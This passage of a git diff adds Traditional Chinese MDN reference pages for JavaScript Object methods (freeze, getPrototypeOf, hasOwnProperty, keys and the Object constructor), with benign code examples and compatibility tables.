+ <li>Property attributes must be set to some values. The <code>configurable</code>, <code>enumerable</code> and <code>writable</code> attributes should all be set to <code>true</code> for data descriptor and <code>true</code> for <code>configurable</code>, <code>false</code> for <code>enumerable</code> for accessor descriptor.(?) Any attempt to provide other value(?) will result in an error being thrown.</li>
+ <li>Reconfiguring a property requires first deleting the property. If the property isn't deleted, it stays as it was before the reconfiguration attempt.</li>
+</ul>
+
+<h2 id="參閱">參閱</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
+ <li>{{jsxref("Object.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}}</li>
+ <li>{{jsxref("Object.prototype.watch()")}}</li>
+ <li>{{jsxref("Object.prototype.unwatch()")}}</li>
+ <li>{{jsxref("Operators/get", "get")}}</li>
+ <li>{{jsxref("Operators/set", "set")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty/Additional_examples">Additional <code>Object.defineProperty</code> examples</a></li>
+ <li>{{jsxref("Reflect.defineProperty()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/object/freeze/index.html b/files/zh-tw/web/javascript/reference/global_objects/object/freeze/index.html
new file mode 100644
index 0000000000..0c26b9f308
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/object/freeze/index.html
@@ -0,0 +1,198 @@
+---
+title: Object.freeze()
+slug: Web/JavaScript/Reference/Global_Objects/Object/freeze
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/freeze
+---
+<div>{{JSRef}}</div>
+
+<p> </p>
+
+<p><code><strong>Object.freeze()</strong></code> 顧名思義是用來「凍結」一個物件的: 也就是防止物件新增屬性; 防止物件既有的屬性被刪除; 防止物件原本的屬性, 還有屬性的可列舉性, 可設定性, 可寫性被改動; 同時它也防止物件的原型被改變。此方法回傳一個凍結狀態的物件。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-freeze.html")}}</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code>Object.freeze(<var>obj</var>)</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>要被凍結的物件</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>被凍結的物件</p>
+
+<h2 id="描述">描述</h2>
+
+<p>一個被凍結的物件無法被新增或刪除屬性。任何想要改動的嘗試都會失敗, 要不沈默地失敗, 就是丟出一個 {{jsxref("TypeError")}} 例外 (此例外最常出現在 {{jsxref("Strict_mode", "strict mode", "", 1)}})</p>
+
+<p>資料屬性無法被改變。訪問者方法 - setters 也一樣不能改變資料屬性 (雖然它會給你可以改變資料值的假象)。注意！ 如果資料屬性是物件的話，該物件的值是可以被改變的，除非它們也被凍結。一個陣列同樣可以被凍結 (因為它也是一個物件)，被凍結後它的元素內容就不能被改變，也不能新增或刪除元素。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="凍結物件">凍結物件</h3>
+
+<pre class="brush: js">var obj = {
+  prop: function() {},
+  foo: 'bar'
+};
+
+// 新的屬性可以被新增，原本的屬性可以被改變或刪除
+obj.foo = 'baz';
+obj.lumpy = 'woof';
+delete obj.prop;
+
+// 回傳的物件跟原本傳入的物件是同一個，所以不需要記住回傳值
+// 也可以凍結一個物件
+var o = Object.freeze(obj);
+
+o === obj; // true
+Object.isFrozen(obj); // === true
+
+// 現在任何改動都會失敗
+obj.foo = 'quux'; // 什麼事也不會發生
+// 屬性無法被新增
+obj.quaxxor = 'the friendly duck';
+
+// 在嚴格模式中，如方才的嘗試都會丟出 TypeError
+function fail(){
+  'use strict';
+  obj.foo = 'sparky'; // 丟出 TypeError
+  delete obj.foo; // 丟出 TypeError
+  delete obj.quaxxor; // 回傳 true 因為屬性 'quaxxor' 從來沒有被新增
+  obj.sparky = 'arf'; // 丟出 TypeError
+}
+
+fail();
+
+// 嘗試透過 Object.defineProperty 來改變屬性的值會丟出 TypeError
+Object.defineProperty(obj, 'ohai', { value: 17 });
+Object.defineProperty(obj, 'foo', { value: 'eit' });
+
+// 一樣不可能改變物件的原型，都會丟出 TypeError
+Object.setPrototypeOf(obj, { x: 20 })
+obj.__proto__ = { x: 20 }
+</pre>
+
+<h3 id="凍結陣列">凍結陣列</h3>
+
+<pre>let a = [0];
+Object.freeze(a); // 現在這個陣列不能被改動
+
+a[0]=1; // 沈默地失敗
+a.push(2); // 沈默地失敗
+
+// 在嚴格模式底下會丟出 TypeError
+function fail() {
+  "use strict"
+  a[0] = 1;
+  a.push(2);
+}
+
+fail();</pre>
+
+<p>被凍結的物件是<em>不可變 (Immutable) </em>的。然而，它並不等於常數<em> (constant)</em>。以下的範例顯示一個被凍結的物件並不是常數 (凍結的動作是「淺」的 - 如果資料屬性也是物件, 不會遞迴地做凍結的動作)。</p>
+
+<pre class="brush: js">obj1 = {
+  internal: {}
+};
+
+Object.freeze(obj1);
+obj1.internal.a = 'aValue';
+
+obj1.internal.a // 'aValue'</pre>
+
+<p class="brush: js">如果要成為一個常數物件，整個物件參考圖 (包含直接指向或間接指向其他物件) 必須都只能指向被凍結的不可變物件。一個物件被稱作不可變是因為它的整個物件狀態 (值或是指向其他物件的參考) 是固定的。注意，string, number 和 boolean 這些原始型別的值是永遠不變的，Function 和 Array 都屬於物件的一種。</p>
+
+<p class="brush: js">要讓一個物件變成常數物件，就必須遞迴地凍結每個是物件型別的屬性 (稱作深凍結)。只有當你知道物件的參考圖不存在任何<em><a href="https://en.wikipedia.org/wiki/Cycle_(graph_theory)">循環</a> </em>的時候才能使用以上遞迴的方式來凍結物件，不然就可能會造成無窮迴圈。一個改善以下範例中 deepFreeze() 來解決無窮迴圈問題的方法是 - 創建一個接受一個路徑參數 (像是陣列) 的內部用函數，用來避免無窮遞迴地呼叫 deepFreeze() - 當發現欲凍結的物件已經出現在之前凍結的物件行列中就不繼續遞迴下去。需要注意的是你可能會不小心凍結一個不應該被凍結的物件，像是 [window]。</p>
+
+<pre class="brush: js">// 用這個函數來進行對物件的深凍結
+function deepFreeze(obj) {
+
+  // 取得物件的所有屬性名稱
+  var propNames = Object.getOwnPropertyNames(obj);
+
+  // 在凍結物件本身之前先凍結物件的所有物件屬性
+  propNames.forEach(function(name) {
+    var prop = obj[name];
+
+    // 凍結 prop 如果它是一個物件
+    if (typeof prop == 'object' &amp;&amp; prop !== null)
+      deepFreeze(prop);
+  });
+
+  // 凍結本身 (no-op 如果已經被凍結了)
+  return Object.freeze(obj);
+}
+
+obj2 = {
+  internal: {}
+};
+
+deepFreeze(obj2);
+obj2.internal.a = 'anotherValue';
+obj2.internal.a; // undefined</pre>
+
+<h2 id="備註">備註</h2>
+
+<p>在 ES5 中，如果傳入此方法的參數不是一個物件 (原始型別)，{{jsxref("TypeError")}} 就會被丟出。而在 ES2015，一個非物件型態的參數會被當成是一個已經被凍結的物件，所以會被直接回傳?不會造成錯誤。</p>
+
+<pre class="brush: js">&gt; Object.freeze(1)
+TypeError: 1 is not an object // ES5 code
+
+&gt; Object.freeze(1)
+1                             // ES2015 code
+</pre>
+
+<h3 id="與_Object.seal()_的差別">與 <code>Object.seal()</code> 的差別</h3>
+
+<p>被 <code>Object.seal()</code> 密封的物件還是可以改變它原有屬性的值。而被 <code>Object.freeze()</code> 凍結的物件則無法改變它原有屬性的值因為他們是不可變的。</p>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.9', 'Object.freeze')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>第一版。實作於 JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.freeze', 'Object.freeze')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.freeze', 'Object.freeze')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.freeze")}}</p>
+</div>
+
+<h2 id="參閱">參閱</h2>
+
+<ul>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/object/getprototypeof/index.html b/files/zh-tw/web/javascript/reference/global_objects/object/getprototypeof/index.html
new file mode 100644
index 0000000000..ff4e4d480f
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/object/getprototypeof/index.html
@@ -0,0 +1,128 @@
+---
+title: Object.getPrototypeOf()
+slug: Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf
+tags:
+  - JavaScript
+  - Method
+  - Object
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.getPrototypeOf()</strong></code> 回傳指定物件的原型，換句話說，就是取得該物件的 <code>[[Prototype]]</code> 屬性的值).</p>
+
+<h2 id="表達式">表達式</h2>
+
+<pre class="syntaxbox"><code>Object.getPrototypeOf(<var>obj</var>)</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>欲取得原型的物件。</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">var proto = {};
+var obj = Object.create(proto);
+Object.getPrototypeOf(obj) === proto; // true
+</pre>
+
+<h2 id="備註">備註</h2>
+
+<p>如果 <code>obj</code> 參數在 ES5 並不是物件時會拋出 {{jsxref("TypeError")}} 例外，同樣狀況在 ES6 時該參數將會被強制轉換成 {{jsxref("Object")}}。</p>
+
+<pre class="brush: js">Object.getPrototypeOf("foo");
+// TypeError: "foo" is not an object (ES5 code)
+Object.getPrototypeOf("foo");
+// String.prototype                  (ES6 code)
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.2', 'Object.getPrototypeOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.getprototypeof', 'Object.getProtoypeOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("5")}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("12.10")}}</td>
+   <td>{{CompatSafari("5")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Opera_註">Opera 註</h2>
+
+<p>雖然舊版的 Opera 並不支援 <code>Object.getPrototypeOf()</code>，但是 Opera 從 Opera 10.50 支援非標準的 {{jsxref("Object.proto", "__proto__")}} 屬性。</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Object.prototype.__proto__")}}</li>
+ <li>John Resig 的文章－－《 <a class="external" href="http://ejohn.org/blog/objectgetprototypeof/">getPrototypeOf</a> 》</li>
+ <li>{{jsxref("Reflect.getPrototypeOf()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/object/hasownproperty/index.html b/files/zh-tw/web/javascript/reference/global_objects/object/hasownproperty/index.html
new file mode 100644
index 0000000000..1786387141
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/object/hasownproperty/index.html
@@ -0,0 +1,184 @@
+---
+title: Object.prototype.hasOwnProperty()
+slug: Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty
+tags:
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>hasOwnProperty()</strong></code> 回傳物件是否有該屬性的布林值。</p>
+
+<h2 id="表達式">表達式</h2>
+
+<pre class="syntaxbox"><code><var>obj</var>.hasOwnProperty(<var>prop</var>)</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>屬性名稱。</dd>
+</dl>
+
+<h2 id="說明">說明</h2>
+
+<p>每個為 {{jsxref("Object")}} 後代的物件都繼承 <code>hasOwnProperty</code> 方法。這個方法可以被使用來決定物件是否擁有特定的直接屬性；跟 {{jsxref("Operators/in", "in")}} 不一樣，這個方法並未檢查物件的原型鏈。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_hasOwnProperty_測試屬性是否存在">使用 <code>hasOwnProperty</code> 測試屬性是否存在</h3>
+
+<p>這個範例顯示 <code>o </code>物件是否擁有名為 <code>prop </code>的屬性:</p>
+
+<pre class="brush: js">o = new Object();
+o.prop = 'exists';
+
+function changeO() {
+  o.newprop = o.prop;
+  delete o.prop;
+}
+
+o.hasOwnProperty('prop');   // 回傳 true
+changeO();
+o.hasOwnProperty('prop');   // 回傳 false
+</pre>
+
+<h3 id="直接與繼承的屬性">直接與繼承的屬性</h3>
+
+<p>這個範例區分直接屬性和從原型鍊繼承的屬性：</p>
+
+<pre class="brush: js">o = new Object();
+o.prop = 'exists';
+o.hasOwnProperty('prop');             // 回傳 true
+o.hasOwnProperty('toString');         // 回傳 false
+o.hasOwnProperty('hasOwnProperty');   // 回傳 false
+</pre>
+
+<h3 id="遍歷物件的屬性">遍歷物件的屬性</h3>
+
+<p>這個範例顯示如何不執行繼承的屬性去遍歷物件的屬性。注意 {{jsxref("Statements/for...in", "for...in")}} 已經遍歷了可以被列舉的項目，所以不該基於缺乏不可列舉的屬性(如下)而假設 <code>hasOwnProperty</code> 被嚴格地限制在列舉的項目（如同 {{jsxref("Object.getOwnPropertyNames()")}}）。</p>
+
+<pre class="brush: js">var buz = {
+  fog: 'stack'
+};
+
+for (var name in buz) {
+  if (buz.hasOwnProperty(name)) {
+    console.log('this is fog (' + name + ') for sure. Value: ' + buz[name]);
+  }
+  else {
+    console.log(name); // toString or something else
+  }
+}
+</pre>
+
+<h3 id="將_hasOwnProperty_作為屬性"><code>將 hasOwnProperty</code> 作為屬性</h3>
+
+<p>JavaScript 並未保護 <code>hasOwnProperty</code>；因此，如果一個物件擁有一樣的屬性名稱，為了獲得正確的結果需要使用 <em>external</em> <code>hasOwnProperty</code>：</p>
+
+<pre class="brush: js">var foo = {
+  hasOwnProperty: function() {
+    return false;
+  },
+  bar: 'Here be dragons'
+};
+
+foo.hasOwnProperty('bar'); // 總是回傳 false
+
+// 使用其他物件的 hasOwnProperty 和 call it with 'this' set to foo
+({}).hasOwnProperty.call(foo, 'bar'); // true
+
+// 從物件的原型使用 hasOwnProperty 也是可行的
+Object.prototype.hasOwnProperty.call(foo, 'bar'); // true
+</pre>
+
+<p>註：在最後一個例子中並未創建任何新的物件。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Statements/for...in", "for...in")}}</li>
+ <li>{{jsxref("Operators/in", "in")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_Revisited">JavaScript Guide: Inheritance revisited</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/object/index.html b/files/zh-tw/web/javascript/reference/global_objects/object/index.html
new file mode 100644
index 0000000000..3885c44a15
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/object/index.html
@@ -0,0 +1,222 @@
+---
+title: Object
+slug: Web/JavaScript/Reference/Global_Objects/Object
+tags:
+  - Constructor
+  - JavaScript
+  - NeedsTranslation
+  - Object
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Global_Objects/Object
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object</strong></code> 建構式可用於建立物件包裝（object wrapper）。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox notranslate">// Object initialiser or literal
+{ [ <var>nameValuePair1</var>[, <var>nameValuePair2</var>[, ...<var>nameValuePairN</var>] ] ] }
+
+// Called as a constructor
+new Object([<var>value</var>])</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>nameValuePair1, nameValuePair2, ... nameValuePair<em>N</em></code></dt>
+ <dd>Pairs of names (strings) and values (any value) where the name is separated from the value by a colon.</dd>
+ <dt><code>value</code></dt>
+ <dd>任意值。</dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<p>The <code>Object</code> constructor creates an object wrapper for the given value. If the value is {{jsxref("null")}} or {{jsxref("undefined")}}, it will create and return an empty object, otherwise, it will return an object of a Type that corresponds to the given value. If the value is an object already, it will return the value.</p>
+
+<p>When called in a non-constructor context, <code>Object</code> behaves identically to <code>new Object()</code>.</p>
+
+<p>也可以參考 <a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/Object_initializer">object initializer / literal syntax</a>.</p>
+
+<h2 id="Object_建構式屬性"><code>Object</code> 建構式屬性</h2>
+
+<dl>
+ <dt><code>Object.length</code></dt>
+ <dd>Has a value of 1.</dd>
+ <dt>{{jsxref("Object.prototype")}}</dt>
+ <dd>Allows the addition of properties to all objects of type Object.</dd>
+</dl>
+
+<h2 id="Object_建構式方法"><code>Object</code> 建構式方法</h2>
+
+<dl>
+ <dt>{{jsxref("Object.assign()")}}</dt>
+ <dd>Creates a new object by copying the values of all enumerable own properties from one or more source objects to a target object.</dd>
+ <dt>{{jsxref("Object.create()")}}</dt>
+ <dd>Creates a new object with the specified prototype object and properties.</dd>
+ <dt>{{jsxref("Object.defineProperty()")}}</dt>
+ <dd>Adds the named property described by a given descriptor to an object.</dd>
+ <dt>{{jsxref("Object.defineProperties()")}}</dt>
+ <dd>Adds the named properties described by the given descriptors to an object.</dd>
+ <dt>{{jsxref("Object.entries()")}} {{experimental_inline}}</dt>
+ <dd>Returns an array of a given object's own enumerable property <code>[key, value]</code> pairs.</dd>
+ <dt>{{jsxref("Object.freeze()")}}</dt>
+ <dd>Freezes an object: other code can't delete or change any properties.</dd>
+ <dt>{{jsxref("Object.getOwnPropertyDescriptor()")}}</dt>
+ <dd>Returns a property descriptor for a named property on an object.</dd>
+ <dt>{{jsxref("Object.getOwnPropertyDescriptors()")}}</dt>
+ <dd>Returns an object containing all own property descriptors for an object.</dd>
+ <dt>{{jsxref("Object.getOwnPropertyNames()")}}</dt>
+ <dd>Returns an array containing the names of all of the given object's <strong>own</strong> enumerable and non-enumerable properties.</dd>
+ <dt>{{jsxref("Object.getOwnPropertySymbols()")}}</dt>
+ <dd>Returns an array of all symbol properties found directly upon a given object.</dd>
+ <dt>{{jsxref("Object.getPrototypeOf()")}}</dt>
+ <dd>Returns the prototype of the specified object.</dd>
+ <dt>{{jsxref("Object.is()")}}</dt>
+ <dd>Compares if two values are distinguishable (ie. the same)</dd>
+ <dt>{{jsxref("Object.isExtensible()")}}</dt>
+ <dd>Determines if extending of an object is allowed.</dd>
+ <dt>{{jsxref("Object.isFrozen()")}}</dt>
+ <dd>Determines if an object was frozen.</dd>
+ <dt>{{jsxref("Object.isSealed()")}}</dt>
+ <dd>Determines if an object is sealed.</dd>
+ <dt>{{jsxref("Object.keys()")}}</dt>
+ <dd>Returns an array containing the names of all of the given object's <strong>own</strong> enumerable properties.</dd>
+ <dt>{{jsxref("Object.preventExtensions()")}}</dt>
+ <dd>Prevents any extensions of an object.</dd>
+ <dt>{{jsxref("Object.seal()")}}</dt>
+ <dd>Prevents other code from deleting properties of an object.</dd>
+ <dt>{{jsxref("Object.setPrototypeOf()")}}</dt>
+ <dd>Sets the prototype (i.e., the internal <code>[[Prototype]]</code> property)</dd>
+ <dt>{{jsxref("Object.values()")}} {{experimental_inline}}</dt>
+ <dd>Returns an array of a given object's own enumerable values.</dd>
+</dl>
+
+<h2 id="Object_物件實體與_Object_原型物件"><code>Object</code> 物件實體與 <code>Object</code> 原型物件</h2>
+
+<p>All objects in JavaScript are descended from <code>Object</code>; all objects inherit methods and properties from {{jsxref("Object.prototype")}}, although they may be overridden. For example, other constructors' prototypes override the <code>constructor</code> property and provide their own <code>toString()</code> methods. Changes to the <code>Object</code> prototype object are propagated to all objects unless the properties and methods subject to those changes are overridden further along the prototype chain.</p>
+
+<h3 id="屬性">屬性</h3>
+
+<div>{{page('/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', '屬性') }}</div>
+
+<h3 id="方法">方法</h3>
+
+<div>{{page('/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', '方法') }}</div>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Using_Object_given_undefined_and_null_types">Using <code>Object</code> given <code>undefined</code> and <code>null</code> types</h3>
+
+<p>下面例子儲存一個空物件至變數o</p>
+
+<pre class="brush: js notranslate">var o = new Object();
+</pre>
+
+<pre class="brush: js notranslate">var o = new Object(undefined);
+</pre>
+
+<pre class="brush: js notranslate">var o = new Object(null);
+</pre>
+
+<h3 id="Using_Object_to_create_Boolean_objects">Using <code>Object</code> to create <code>Boolean</code> objects</h3>
+
+<p>下面例子儲存 {{jsxref("Boolean")}} 物件在 <code>o</code>:</p>
+
+<pre class="brush: js notranslate">// equivalent to o = new Boolean(true);
+var o = new Object(true);
+</pre>
+
+<pre class="brush: js notranslate">// equivalent to o = new Boolean(false);
+var o = new Object(Boolean());
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2', 'Object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object-objects', 'Object')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Added Object.assign, Object.getOwnPropertySymbols, Object.setPrototypeOf, Object.is</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object-objects', 'Object')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Added Object.entries, Object.values and Object.getOwnPropertyDescriptors.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/Object_initializer">Object initializer</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/object/keys/index.html b/files/zh-tw/web/javascript/reference/global_objects/object/keys/index.html
new file mode 100644
index 0000000000..958b9a3a47
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/object/keys/index.html
@@ -0,0 +1,208 @@
+---
+title: Object.keys()
+slug: Web/JavaScript/Reference/Global_Objects/Object/keys
+tags:
+  - ECMAScript 5
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/keys
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.keys()</strong></code> 方法會回傳一個由指定物件所有可列舉之屬性組成的陣列，該陣列中的的排列順序與使用 {{jsxref("Statements/for...in", "for...in")}} 進行迭代的順序相同（兩者的差異在於 <code>for-in</code> 迴圈還會迭代出物件自其原型鏈所繼承來的可列舉屬性）。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code>Object.keys(<var>obj</var>)</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>物件，用以回傳其可列舉屬性。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>回傳一個包含給定物件內所有可列舉屬性的字串陣列。</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>Object.keys()</code> 回傳一個陣列，陣列中的各元素為直屬於 <code>obj</code> ，對應可列舉屬性名的字串。回傳結果的排序，與手動對物件屬性作迴圈迭代的結果排序相同。</p>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c'];
+console.log(Object.keys(arr)); // console: ['0', '1', '2']
+
